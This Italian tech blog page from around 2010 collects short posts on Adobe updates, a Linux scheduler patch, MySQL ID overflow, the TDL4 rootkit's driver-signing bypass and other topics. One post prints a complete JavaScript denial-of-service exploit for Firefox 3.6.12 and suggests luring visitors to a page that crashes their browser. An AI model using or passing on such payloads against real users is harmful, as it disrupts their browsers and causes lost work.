Categoria: Software

  • Acrobat Reader X

    È stato rilasciato oggi Acrobat Reader X, la nuova versione del lettore gratuito di file PDF di Adobe.

    L’installazione avviene, come al solito, dal sito di Adobe e, come al solito, si tenta di contrabbandare software non richiesto assieme al reader.

    Indipendentemente dalle scelte effettuate, conviene fare un’ispezione nell’elenco delle applicazioni installate per vedere se è stato installato in maniera surrettizia McAfee Security Scan Plus (o un nome simile).

    Il programma fa la stessa cosa che facevano tutti i suoi predecessori e che probabilmente fa il 90% degli utenti: visualizza dei PDF, li stampa e permette di fare delle ricerche, se il contenuto è in formato testo.

    La vera novità di questa versione è l’implementazione della sandbox (qui chiamata Enhanced Security) per mitigare i problemi di sicurezza delle versioni precedenti. La funzione è attiva per default ed è meglio lasciarla tale.

    Il programma di installazione rimuove le vecchie versioni del reader, anche se la rimozione viene completata dopo il primo reboot del sistema.

  • Anteprima della patch da 200 righe di Linux

    Quelle che seguono sono le istruzioni di Lennart Poettering per implementare sui sistemi RedHat 6 /CentOS e Ubuntu l’anteprima della patch da 200 righe di Linux.

    Come Linus stesso ha chiarito, questo è il metodo con il quale sono state condotte le prime prove della patch, senza apportare modifiche al kernel. La patch che è seguita è stata la conseguenza dell’esito positivo di queste prove.

    Sto scrivendo questo testo dopo aver seguito le indicazioni dettagliate di seguito. Non sto notando nulla di evidente, anche se non credo che Thunderbird e Firefox riescano a mettere in crisi un sistema Ubuntu a 64 bit con 6 Gb di RAM e controller RAID Adaptec.

    Due parole di avviso prima di procedere. State per modificare dei parametri di funzionamento del kernel, siate ben consci di quello che state per fare e fatelo con estrema cura. Va da sé che è sempre bene avere ben presente un metodo per annullare le modifiche che state per fare, anche in caso di impossibilità di fare il boot con il PC. La modifica interessa l’utilizzo interattivo di Linux e non ha effetto sui server.

    (altro…)

  • Mac OSX: shortcut di share SMB

    Oggi un cliente mi chiede come fare lo shortcut di uno share di un server Windows 2003 sul desktop di un Mac OSX.

    L’azione è banale con Windows o con Gnome, ma si è rivelata inaspettatamente non intuitiva con MacOS.

    È ovvio che ogni interfaccia utente ha proprie caratteristiche. Questo articolo non vuole dare giudizi di merito sulle interfacce basandosi su un dettaglio. I partigiani delle varie piattaforme sono avvertiti.

    (altro…)
  • Aggiornamento per Acrobat e Adobe Reader

    Da ieri sera (ora europea) Adobe ha rilasciato gli aggiornamenti per Acrobat e Adobe Reader per Windows, UNIX e OSX.

    L’ultima versione di Adobe Reader è, quindi, la 9.4.1 ed è l’unica a non essere interessata dai problemi scoperti a fine ottobre.

  • Rootkit che bypassa la protezione della firma digitale dei driver Windows

    TDL4 è la nuova versione di una famiglia di rootkit già noti che abbassa le difese di Windows a 64 bit contro il caricamento nel kernel di driver non firmati.

    La prima parte del malware si annida nel MBR e modifica in memoria il parametro del kernel LoadIntegrityCheckPolicy e fa in modo che vengano accettati anche i driver non firmati in maniera digitale.

    Questo permette al kernel di caricare una versione modificata di kdcom.dll, un componente del debugger del kernel. Le funzioni modificate dal malware esportate dalla DLL bloccano di fatto molti tentativi di debugging del rootkit.

    Se la parte del rootkit caricata nel MBR non entrasse in azione, la DLL sostituita provocherebbe un errore tipo *** Windows is unable to verify the signature of the file \Windows\system32\kdcom.dll. Ma l’abbassamento del livello di sicurezza forza il kernel a non effettuare alcuna verifica.

    A questo punto la porta è aperta per il caricamento di qualsiasi altra schifezza nel kernel. (via Threat Post)

  • 200 righe di patch che fanno la differenza

    Linux è abbastanza consolidato nell’ambiente server, ma deve ancora crescere come kernel adatto ad un utilizzo interattivo al di fuori degli smanettoni.

    Negli ultimi mesi sono state proposte molte patch al kernel per migliorare la risposta interattiva del sistema.

    Mike Galbraith ha proposto una patch basata su un’idea di Linus Torvalds che sembrerebbe fare davvero la differenza. Lo stesso Linus ha commentato «Good job. Group scheduling goes from “useful for some specific server loads” to “that’s a killer feature”.»

    La patch introduce 224 nuove righe di codice e ne toglie 9, ma il risultato sembra essere incredibile: la latenza dello scheduler cala di 10 volte nei momenti di picco d di 60 volte con un carico medio. Il risultato è un’esperienza di utilizzo più fluida e veloce. (via Phoronix)

    Aggiornamento 19/11/2010 08:00 – È possibile modificare il kernel per avere un’anteprima della patch.

  • Id autoincrementale delle tabelle MySQL

    Tabella giri-velocità / RPM-speed tablePremetto che sono un fan sfegatato degli id interi autoincrementali delle tabelle SQL usati come chiave primaria. Prima o poi tornano utili e fanno comunque comodo.

    Un collega qualche giorno fa mi ha detto di essere un po’ perplesso degli id autoincrementali per via del rischio di overflow.

    MySQL, infatti, in caso di raggiungimento del limite del contatore autoincrementale non permette di aggiungere ulteriori record. Non è una bella situazione. Mi sono deciso, quindi, a fare un paio di conti.

    Ipotizziamo un id autoincrementale di tipo UNSIGNED INT: abbiamo 4 byte di dati, pari a 32 bit pari a 4.294.967.295 in base decimale. Ipotizzando l’inserimento in una tabella di un milione di record al giorno (11 record al secondo) avremmo 4.295 giorni (poco meno di 12 anni) di vita della nostra tabella. Decisamente inaccettabile.

    Meglio utilizzare un id autoincrementale di tipo UNSIGNED BIGINT: 8 byte, 64 bit e 18.446.744.073.709.551.615 possibili valori. Se ipotizziamo un miliardo di record al giorno (11.500 al secondo) potremmo avere spazio di crescita per circa 25 milioni di anni. Potrebbe essere sufficiente.

  • 0day di Mozilla Firefox 3.6.12

    <!--
    
    0day Mozilla Firefox <= 3.6.12 Remote Denial Of Service
    
    Credits:
    Emanuele 'emgent' Gentili	<emgent@backtrack-linux.org>
    Marco 'white_sheep' Rondini	<white_sheep@backtrack-linux.org>
    Alessandro 'scox' Scoscia	<scox@backtrack.it>
    
    -->
    
    <script>document.write("\u0000\u0001\u0002\u0003\u0004\u0005")</script>
    
    <script>
    var i=0;
    for (i=0;i<=19999;i++)
    {
    document.write("a");
    }
    
    for (i=0;i<=3;i++)
    {
    document.write(document.body.innerHTML);
    }
    
    </script>
    

    Il simpatico script qui sopra blocca l’ultima versione di Mozilla Firefox, indipendentemente dal sistema operativo su cui gira.

    Basta, quindi, inserirlo in una pagina HTML, indurre qualcuno a visitare quella pagina e voilà gli avete bloccato Firefox, costringendolo a chiudere brutalmente il software e a perdere i riferimenti a tutti i tab aperti (ci sono persone che potrebbero uccidere per una perdita del genere attenzione!).

    Per ora si tratta solamente di un denial of service, non sono (ancora?) noti malware che sfruttano questo problema per altri scopi.

    Il problema è stato scoperto dal gruppo italiano Backtrack.

  • “L’Open Source non inventa.”

    Sedetevi su una sedia prima di leggere questa frase. E’ meglio.

    L’Open Source non inventa. Copia e rende libero ciò che altri inventano per evitare che Microsoft copiando e *rubando* diventi padrona di tutto. Dei due mali, io preferisco la via di mezzo: il giusto guadagno ma il buon prodotto.

    Questa è una delle frasi di un thread che è nato sulle risposte allo status di un mio contatto. Discussione nata, a dire il vero, dalla recente scoperta di vulnerability issues su Froyo (Android 2.2, nda). Da qui si è passati a parlare (a vanvera) del Garbage Collector (“donna delle pulizie che passa quando vuole, quando meno te l’aspetti e blocca tutto quello che stai facendo“) e poi, con una logica tutta particolare, si è arrivati a parlare (ancor più a vanvera) dell’Open Source perchè uno degli interlocutori ha dichiarato il suo interesse per Android, essendo un amante del software libero, associando la ‘libertà’ offerta dagli smartphone con sistema operativo Android alle ‘limitazioni’ imposte sugli iPhone (attenzione: qui non c’è alcun fanboyismo).

    La risposta include alcuni frammenti estremamente interessanti:

    Apple ha fatto guadagnare un sacco di soldi a molti programmatori che non avrebbero mai visto un dollaro tramite l’open source. Inoltre la fame di successo (soldi) ha generato in un anno una marea di applicazioni, molte delle quali di ottima qualità.” […] “Ma l’open source non è ciò che farà progredire il mondo. E poi, le applicazioni per Android non sono gratis, almeno non tutte. Quindi non vedo la differenza.

    Il primo grave, gravissimo errore già denota una scarsa conoscenza dell’Open Source, associandolo al concetto di “gratuito”. E’ un errore fin troppo comune, ma che mi aspetto da chi non è un programmatore o, comunque, non bazzica attivamente nell’ambito informatico. No, Open Source non vuole affatto dire gratis. Per favore, toglietevelo dalla testa.

    Tralascio un pezzo di dissertazione molto confusa che inizia con “Sono un po’ incazzato con l’OpenSource, ma non è colpa del movimento stesso. È colpa di Microsoft.” e arrivo al pezzo che più mi ha sconvolto, quello che contiene il frammnento riportato all’inizio del post, che viene “premesso” da quest’altra frase: “Prova solo un attimo a pensare cosa sarebbe stato il mondo informatico senza Apple. Togli il Mac, togli l’iPod, togli l’iPhone. Io credo che debba sempre esistere una convenienza economica per portare ad una evoluzione.

    Già. E non mi sembrava stesse scherzando.

    Chi parla dice di essere un programmatore (non conoscendolo, non posso che accettare questa affermazione) ma credo che abbia le idee fin troppo confuse e, forse, una scarsa conoscenza del mondo dell’Open Source, perchè oltre all’errore di prima sul concetto di gratuito, alla fine di tutto si sottolinea che l’Open Source non genera software di buona qualità, non innova ma copia, suggerendo che solo grazie ad Apple c’è stata vera innovazione.

    Non voglio scatenare una guerra di religione (non è lo scopo di questo post) magari citando la causa che Xerox fece ad Apple (credo perdendola) all’inizio degli anni ’80 quando fece uscire “Lisa” (prima) ed il “Machintosh” (poi) dotati del “mouse” che era stato inventato, appunto, da alcuni dipendenti Xerox e non voglio nemmeno sottolineare che alla base del sistema operativo OsX c’è FreeBSD, spesso considerato uno dei primi progetti Open Source derivati da Unix.

    Open Source significa (tra le altre cose) collaborazione: condividere i sorgenti di un progetto permette a diverse persone di migliorarlo, di farlo crescere aggiungendo funzionalità e/o correggendone gli errori. Associare l’Open Source a prodotti di bassa qualità (indirettamente come è stato fatto nella discussione) non è solo sbagliato, ma è ipocrita. Linux, MySQL, Apache Http Server, Firefox, OpenOffice, Eclipse… sono tutti risultati dell’Open Source e sono prodotti assolutamente di ottima qualità per non sottolineare che sono alla base di un numero altissimo di prodotti e/o servizi anche commerciali.

    Firefox è stata una vera e propria fonte di innovazione nel mondo dei browser, anche indirettamente (progetti Open Source nati per estendere Firefox stesso). OpenOffice già solo con OpenDocument dovrebbe essere citata di diritto nella scala dei progetti innovativi. Eclipse è diventato uno degli IDE più utilizzati anche perchè non limitato ad un unico linguaggio, grazie ad un innovativo sistema di plug-in. Per non parlare di tutte quelle società (grosse e piccole) che grazie all’Open Source hanno potuto creare e migliorare la  propria offerta… e non parlo solo di IBM, Google, Oracle, ma parlo anche di tante società che vivono fornendo servizi ad alta qualità grazie a quello che il mondo dell’Open Source propone.
    E potrei continuare per pagine e pagine.

    Ma mi fermo qui. E’ meglio.

  • Aggiornamento di Flash per oggi

    Contrariamente a quanto annunciato in precedenza, Adobe rilascerà nella giornata di oggi (riferita alla time zone americana) un aggiornamento di Flash per Windows, Unix e MacOS che dovrebbe risolvere un problema critico, in quanto è già in circolazione del malware che lo sfrutta. L’aggiornamento per Android è previsto per il 9 di questo mese.

    Aspettatevi, quindi di ricevere una notifica della disponibilità di un aggiornamento per Flash tra oggi e domani. È molto importante aggiornare il programma appena possibile.

    L’aggiornamento per Adobe Reader relativo a questo problema è previsto per la metà del mese. (via Threat Post)

  • Postfix: bloccare le mailing list hackerate

    Capita ogni tanto di dover bloccare un flusso cospicuo di mail in arrivo da un indirizzo o una mailing list hackerata o che rifiuta il comando di disiscrizione e di doverlo fare adesso.

    I filtri applicati ai client possono essere efficaci, ma non comunicano al mittente la nostra intenzione di non voler ricevere più i suoi messaggi. Nel caso di un list server, inoltre, la raffica di delivery failure dovrebbe provocare la rimozione amministrativa dell’account.

    (altro…)
  • La Guardia di Finanza usa il comando JOIN

    Per chi si diletta di database può sembrare una cosa ovvia, per le Fiamme Gialle probabilmente non lo era o, verosimilmente, non avevano ancora gli strumenti necessari.

    Sia chiaro: chi scrive accoglie con sentimenti assolutamente positivi queste iniziative e riconosce, per esperienza, che non sia così facile mettere assieme dati in maniera coerente provenienti da fonti diverse che, alcune volte, non sono esattamente entusiaste di fornire i dati richiesti. Quanto segue è, quindi, un commento che parte dalle premesse appena esposte.

    Il Sole dà conto dell’operazione Perseo, che, detta in termini informatici, è una query che mette in JOIN varie tabelle applicando le WHERE opportune (sto banalizzando).

    Per mettere in relazione due o più tabelle ci vuole una chiave, che, in questo caso, sono il codice fiscale, la partita IVA o una tabella di associazione dei medesimi.

    Per puro esercizio teorico, immaginiamo di avere a disposizione i database in formato SQL di varie fonti, quali conti correnti, transazioni delle carte di credito, pagamenti vari, transazioni Telepass, eccetera. Se io voglio tracciare Paolino Paperino il cui codice fiscale è PPRPLN80B13B602C mi basta selezionare tutti i record delle tabelle che fanno riferimento a quel codice fiscale, metterle in ordine cronologico ed ecco che ho un’idea della vita di Paolino Paperino.

    Ovviamente questo è un esercizio mentale, nella realtà non ci sono entità che abbiano libero accesso a tutti quei dati contemporaneamente e non è così facile come l’ho descritto. Ma se si parte dagli acquisti di beni di lusso e si impostano i parametri corretti, si capisce come mai il Sole dica che «praticamente tutti i contribuenti selezionati nella fase sperimentale sono risultati “positivi” al controllo.»

    L’unico auspicio che mi permetto di palesare è che questi strumenti vengano utilizzati con la massima cautela senza voler punire chi, per fortuna o per abilità, è più ricco di altri. Avere a disposizione tante informazioni e una vasta potenza di calcolo che permette di elaborarle è un potere enorme, come Google dimostra ampiamente, che deve essere utilizzato con molta cautela e responsabilità.